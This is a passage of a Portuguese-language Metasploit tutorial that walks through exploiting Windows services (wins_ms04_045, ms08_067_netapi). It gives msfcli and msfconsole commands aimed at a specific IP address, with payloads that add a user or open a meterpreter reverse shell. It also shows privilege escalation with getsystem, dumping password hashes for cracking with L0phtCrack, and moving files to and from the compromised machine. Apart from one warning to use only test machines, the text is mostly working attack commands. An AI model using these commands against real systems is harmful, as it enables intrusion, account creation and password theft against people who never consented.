se faziam em separado e com muito trabalho) do que somente um exploit.Digite somente: exploit (lindo nao? Isto e disparar o exploit em direccao ao alvo. ATENCAO. So usar alvos virutais ou maquinas vocasCodigo :msf wins_ms04_045 > exploitE pronto...Acabamos a nossa primeira etapa, agora vamos passar para o msfcli.O msfcli e utilizado para poder fazer tudo de uma so vez. Nao precisando do passo a passo descrito acima. Se nos ja conhecemos o exploit isto agilizamuito o nosso trabalho na linha de comando digitamos assim:Codigo : [root]#./msfcli wins_ms04_045 RHOST =200.156.23.25 RPORT=42 PAYLOAD=win32_adduser teste TARGET=0 Ee vejam que faz a mesma coisa que no modo console.Caso o exploit se direcione a um servico sem previlegios especiais pode-se usar um exploit local para escalar previlegios ou os seguintes comandos do meterpreter. Atencao que neste caso terao de estar a usar o meterpreter (para isso terao na altura de seleccao do payload escolher um especial com o meterpreter, como por exemplo win32_reverse_meterpreter)E na sessao do meterpreter usem os scripts ja existentes para isso, como apresento em baixo.Codigo :meterpreter> use privmeterpreter> getsystemMais coisas interessantes que se podem fazer com o meterpreter em conjunto com outras ferrametas geniais, como o LophtCrack ou o Cain e Abel para crackar hashes de passwords.Has passwords estao codificadas mas podem ser sacadas e posteriormente crackadas... garanto que conseguirao algumas que nao sejam muito fortes, o que e muito normal.Por exemplo. Como fazer o dump das hashes das passowrds com o meterpreter e fazer o download para depois as crackarem com algum dos programas anteriormente mencionados.Codigo :.MSFConsole > use windows/smb/ms08_067_netapi > set PAYLOAD windows/meterpreter/reverse_tcp > set LHOST (meu Ip) > set RHOST (Ip Remoto) > exploit > getuid > hashdump > use -f cmd -cPara fazer downloads ou uploads dentro do meterpreter, entre o vosso PC e o alvo comprometido.Codigo :meterpreter> download arquivo1 arquivo2 pastaDestino meterpreter> upload arquivo1 arquivo2 pastaDestinoPara crackar as hashes eu uso o LOphtCrack. E so guardar o resultado do "hashdump" num .txt (meuHash.txt) e usa-lo no LOphtCrack. Garanto que terao algumas passwords interessantes.(investiguem tambem a familia Pwdump... muito interessante para certas situacoes.)Citarpwdump is the name of various Windows programs that output the LM and NTLM password hashes of local user accounts from the Security Account Manager (SAM). In order to work, it must be run under an Administrator account, or be able to access an Administrator account on the computer where the hashes are to be dumped; so Pwdump does not compromise security. Most of these programs are open-source.http://en.wikipedia.org/wiki/Pwdump (aqui sao explicadas as varias cores e sabores e seus links)Vamos passar para uma forma ainda mais facil. Garanto que o ppl mais windows vao adorar esta forma, que e um GUI (Grafical User Interface... mas no mundo dos exploits? Sim... vejam)Trata-se da ferramenta msfweb que quando executado permite fazermos tudo por uma pagina web, todas as funcionalidades aplicaveis estao la. Para acederem ao GUI do metasploit facam:Codigo : [root]#./msfweb+----=[ Metasploit Framework Web Interface (ip:55555) Deixar correr... Abrir em seguida o browser e digitar o url: teu ip, localhost, 127.0.0.1... Mais a porta 55555Seria assim: http://localhost:55555E assim verao a